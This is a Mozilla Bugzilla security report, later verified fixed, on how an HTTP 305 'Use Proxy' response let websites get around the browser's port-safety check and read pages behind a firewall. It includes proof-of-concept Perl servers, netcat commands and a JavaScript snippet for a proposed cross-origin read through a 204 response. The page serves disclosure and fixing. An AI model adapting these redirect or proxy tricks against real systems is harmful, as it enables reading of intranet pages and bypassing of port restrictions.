Strange behavior on 305 redirect

VERIFIED FIXED in mozilla1.3beta

Status

()

Core
Networking: HTTP
VERIFIED FIXED
15 years ago
6 years ago

People

(Reporter: Mitchell Stoltz (not reading bugmail), Assigned: Darin Fisher)

Tracking

({testcase})

Trunk
mozilla1.3beta
x86
Windows 2000
testcase
Points:
---
Bug Flags:
blocking1.3b +

Firefox Tracking Flags

(Not tracked)

Details

(URL)

Attachments

(3 attachments, 1 obsolete attachment)

From guninski@guninski.com:

The HTTP response 305 "Use cache is dangerous".
Check attached file raw2.pl.
To reproduce:
1. In one terminal do:
nc -l -p 25 | od -c
(to listen on port 25 and hex dump what comes)
2. In another terminal:
/raw2.pl | nc -l -p 1234 
(to send raw http on port 1234)
3. In mozilla:
http://localhost:1234

Actual result:
Mozilla sends 
005 001  \0 (hex)
On port 25.
Port 25 is restricted and \x05\x01 is strange.
I suspect mozilla does not follow the location header, which is a small
bug, which prevents misusing port 25.


-------------- raw2.pl -----------------------
#!/usr/bin/perl

print "HTTP/1.1 305 Use proxy\n";
#print "Location: http://www.mozilla.org\n";
print "Location: localhost:25\n";
#print "Content-Location: http://localhost:2345\n";
#print "Content-Location: http://www.mozilla.org\n";
#print "Refresh: 2; URL=http://localhost\n";
print "\n\n";
(Reporter)

Comment 1

15 years ago
Georgi, I'm not clear on what the potential exploit is - what's at stake here?
Group: security
(Assignee)

Comment 2

15 years ago
basically, this allows a website to defeat our NS_CheckPortSafety check for the
HTTP protocol.  i think this is fairly serious.  however, it should not be
possible for an attacker to redirect a form submission.  the redirected request
will always be GET without a body.

as for the wierd \x05 \x01 \x00, that results from necko mistakenly thinking it
needs to establish a SOCKS v5 connection to the proxy.  that is a recent
regression, unfortunately.  i'd expect 1.0 branch builds to send the actual HTTP
request to port 25.

i have a patch to fix the SOCKS bit.
Status: NEW → ASSIGNED
Flags: blocking1.3b?
Target Milestone: --- → mozilla1.3beta
(Assignee)

Comment 3

15 years ago
Created attachment 110838 [details] [diff] [review]
v1 patch: fixes SOCKS fu

this patch only fixes the SOCKS fu... the fix for the security bug is probably
going to require an appropriately placed call to NS_CheckPortSafety.
I am not sure whether this is a bug. The SOCKS regression prevented me from
investigating further. Now I can test on the 1.0 branch, which works.

So far the only confirmed small bug is that 305 allows connecting to port 25
(SMTP). But the fact that only GET is supported is a great mitigating factor.

Potential exploit scenario is to try to send requests to other sites containing
cookies thru the proxy which 305 specifies.
The HTTP headers are:

Keep-Alive: 300
Proxy-Connection: keep-alive
^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Darin: Do you think it is possible to send requests to other sites thru the
"temporary" proxy - this may allow stealing cookies?


(Assignee)

Comment 5

15 years ago
the temporary proxy only applies to the current URL.  if the current URL is
http://www.evil.com/, then only cookies from evil.com will be sent to the proxy.
 i don't see how this could be used to steal cookies from another domain.

i still think this is something we should probably fix just in case.
(Assignee)

Comment 6

15 years ago
incidentally RFC 2616 doesn't say anything about whether or not a POST should be
resent to the proxy server.  perhaps it should.
yeah, well, I think a 305 is a silly think for a spec. Last time we talked about
305, we couldn't find a usecase which wasn't incredably contrived and useless.
(IIRC, it was that rather than having a transparent http proxy set up, you could
have a transparent process which did nothing but reply with a 305. Kind of
silly/wasteful/etc, though, as well as against the HTTP spec's 'origin server'
restriction anyway)

That said, I think we should resend the POST contents. "The recipient is
expected to repeat this single request via the proxy." If the original request
had a body, then logically a 'repeat' of it must too.

If we don't have a port safety check, do we have a checkloaduri one, btw? cf
that redirect attack from a few months back.

When did the proxy stuff break?
(Assignee)

Comment 8

15 years ago
yeah, 305 never seemed like something all that useful.  i agree with your
interpretation of the 305 redirect w.r.t. POST requests, and that's what worries
me.  there should be no need to call checkloaduri (and we dont) since the URL
won't be changed by the 305.
(Assignee)

Comment 9

15 years ago
the 305 regression was caused by my patch for bug 105340 :(
The problem is that if we send this to an http/1.0 host (or a host which has a
'default' site for unknown host headers) we are effectivly loading it.

Although we do send the absolute url in the GET/POST, and I have this vague
recollection atht apache doens't accept those when its not a proxy.
For comment #10:
Bradley, this works also with http/1.1 on default install of apache (at least
1.3.26).
apache happily server full urls. Works even on mozilla.org. Probably this means
that pages from the intranet may be retrieved. 
To check:
In raw2.pl from the description change
Location: localhost:25\n
to
Location: www.mozilla.org:80\n

Or if one doesn't have netcat (aka nc)
here is a standalone perl proggie:
-----raw3sv.pl------------------------------
#!/usr/bin/perl
# Written by Georgi Guninski
use IO::Socket;

#local port
$port = 1234;

#redirect to
$toserver="www.mozilla.org:80";

$msg= "HTTP/1.1 305 Use proxy\n";
$msg .= "Location: ${toserver}\n";
$msg .= "\n\n";


$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse
=> 1, Listen => 2)
or die "Couldn't create tcp-server.\n";

print "Listening on localhost:${port} will redirect to ${toserver}\n";

while ($client = $server->accept()) {
 print "Client connected.\n";
 print "Sending...";
sleep(1);
#	while(<$client>) {print $_;} 
 print $client "$msg";
 print "OK\n";
sleep(1);
 close($client);
exit(0);
}

--------------------------------------

Actual result:
./raw3sv.pl
with mozilla: connect to http://localhost:1234
The location and page info show "http://localhost:1234/" while the content
document is from www.mozilla.org without the images.
Probably with the help of a modified web server pages from behind the firewall
can be read.

Created attachment 111033 [details]
Mini web server in perl to demonstrate reading pages behind fwl

Confirmed that pages (probably without cookies) from servers behind firewall
can be read.
Start the attached perl, then connect to http://localhost:1234/exploit
(or change localhost with the server where it is run. "localhost" should be
replaced in the perl code also in this case).
After some time the source of www.mozilla.org is displayed in an alert.
The whole purpose of 305 as described in the rfc seems brain damaged to me from
security point of view.

Updated

15 years ago
Flags: blocking1.3b? → blocking1.3b+
(Assignee)

Comment 14

15 years ago
i agree.  i wonder if we shouldn't consider dropping support for 305.
(Assignee)

Comment 15

15 years ago
in fact, IE6 appears to ignore the 305... even if i point it at a valid proxy
server.  i'm seriously thinking that we should do the same.
Yeah. Lets just #ifdef it out, or something. I remmeber when doing the proxy
rewrite that I was surprised that we suppoted it
I also vote to disabling it. Or setting an option which is disabled by default
and clearly states that enabling it is dangerous from security point of view.
Darin and others,

I am trying attacks with "204 No Content" response.
The idea is to load target page, then do
location.href="malicous_who_returns_204" and then "malicous_..." try to access
the target page.

This fails for now, but is such an attack possible?
Probably any response which updates the location without clearing the document
can be used.
(Assignee)

Comment 19

15 years ago
nsURILoader.cpp ignores a 204 response code, which applies to any toplevel
document load.  now, that would not protect XMLHttpRequest, imagelib, CSS, JS,
or other types of loads that do not go through the docshell/uriloader magic.
So... I'm not sure what the proposed attack is here...  As Darin said, the
"currently loaded document" will never have a URI that resulted in a 204; these
are dropped before the docshell starts switching to the new document.
Darin, thanks for the info.

Boris: here is a potential attack scenario.
First, quote from RFC2616 (***emphasis mine***) :
----------------------------------------------------
10.2.5 204 No Content

   The server has fulfilled the request but does not need to return an
   entity-body, and might want to return updated metainformation. The
   response MAY include new or updated metainformation in the form of
   entity-headers, which if present SHOULD be associated with the
   requested variant.

   ***If the client is a user agent, it SHOULD NOT change its document view
   from that which caused the request to be sent. This response is
   primarily intended to allow input for actions to take place without
   causing a change to the user agent's active document view***, although
   any new or updated metainformation SHOULD be applied to the document
   currently in the user agent's active view.

   The 204 response MUST NOT include a message-body, and thus is always
   terminated by the first empty line after the header fields.


----------------------------------------------------

I thought that if mozilla followed this RFC as described above, a 204 response
would cause location.href to be updated to the new URL, while the document will
stay the old one.

In js loaded from "malicous" a potential attack would be done this way:
<script>
a=window.open("http://www.mozilla.org"); //target
//...wait till it is loaded...
a.location.href="http://malicous/something"; // malicous returns 204 response
a.location.href="javascript:alert(document.body.innerHTML)";
</script>



Yeah, I don't think we follow the rfc there.  We basically pretend the request
never existed if we get a 204.
Sure not following the RFC is safe behavior :)
internet exploder don't seem to follow it either.
just wanted to make sure this response is not exploitable.
Well, if nothing else we should comment that code appropriately so some
well-meaning soul doesn't try to "fix" us to comply to the RFC...
I don't necessarily agree with 204 being a security risk - we could easily work
arround this.

Supporting 204 will require hoooks into form conrols and so on, so its  alot of
work. I don't think it has practical value - who doesn't want to say 'update
accepted' when you make a change?

Anyway, thats not what this bug is about...
(Assignee)

Comment 26

15 years ago
Created attachment 112823 [details] [diff] [review]
v2 patch

this patch disables the 305 code.  i've removed the bulk of the 305 handling
code, and simply commented out the 305 case (with an explanatory comment) in
the big response switch statement.
Attachment #110838 - Attachment is obsolete: true
(Assignee)

Comment 27

15 years ago
Created attachment 112824 [details] [diff] [review]
v2 patch (w/ whitespace removed)

same patch w/ whitespace removed.  (v1 patch was accidentally included in
async-io landing.)
(Assignee)

Updated

15 years ago
Attachment #112824 - Flags: superreview?(bzbarsky)
Attachment #112824 - Flags: review?(bbaetz)
Attachment #112824 - Flags: superreview?(bzbarsky) → superreview+
Comment on attachment 112824 [details] [diff] [review]
v2 patch (w/ whitespace removed)

r=bbaetz. For a 305 after this patch, we should then fall back to the
ProcessNormal case, if I read the code correctly
Attachment #112824 - Flags: review?(bbaetz) → review+
(Assignee)

Comment 29

15 years ago
Comment on attachment 112824 [details] [diff] [review]
v2 patch (w/ whitespace removed)

requesting approval to checkin this patch for 1.3 beta.  simple code removal.
Attachment #112824 - Flags: approval1.3b?
(Assignee)

Comment 30

15 years ago
bbaetz: yup, that is correct.  if moz sees a 305, then it will just display the
message body to the user.  here's a "behind the NS firewall" testcase:

http://unagi.mcom.com/bugs/bug_http_305/test.cgi

  #!/bin/sh
  echo 'status: 305 use proxy'
  echo 'location: unagi.mcom.com:8080'
  echo ''
  echo 'use proxy!'

with this patch, the user should see "use proxy!" displayed in the browser window.

Updated

15 years ago
QA Contact: httpqa → tever
Attachment #112824 - Flags: approval1.3b? → approval1.3b+
(Assignee)

Comment 31

15 years ago
fixed-on-trunk
Status: ASSIGNED → RESOLVED
Last Resolved: 15 years ago
Resolution: --- → FIXED
Attachment #111033 - Attachment mime type: application/octet-stream → text/plain

Comment 32

15 years ago
Is the 204 discussion related to the 305 discussion? If not, we should have that
in a separate bug.

As for 305, it is probably worth noting that Ari Luotonen, who used to be the
Netscape Proxy Server lead engineer, said he didn't know what 305 did. I think
he even was closely involved in putting the proxy stuff into HTTP 1.1, so that
probably says it all.

Keywords: testcase
QA Contact: tever → benc

Comment 33

15 years ago
Testing against latest branch 2002-02-10-09 on Win2000

1. At command prompt, run attached test files raw2.pl or raw3sv.pl (these
scripts listen on localhost:1234 and will try to redirect to www.mozilla.org:80)
2. Launch branch build and go to http://localhost:1234

Results:
Mozilla will not load or display within the browser.

Comment 34

15 years ago
Marking this Verified Fixed on the Branch based on my previous comment.
Status: RESOLVED → VERIFIED
(Reporter)

Updated

14 years ago
Group: security
You need to log in before you can comment on or make changes to this bug.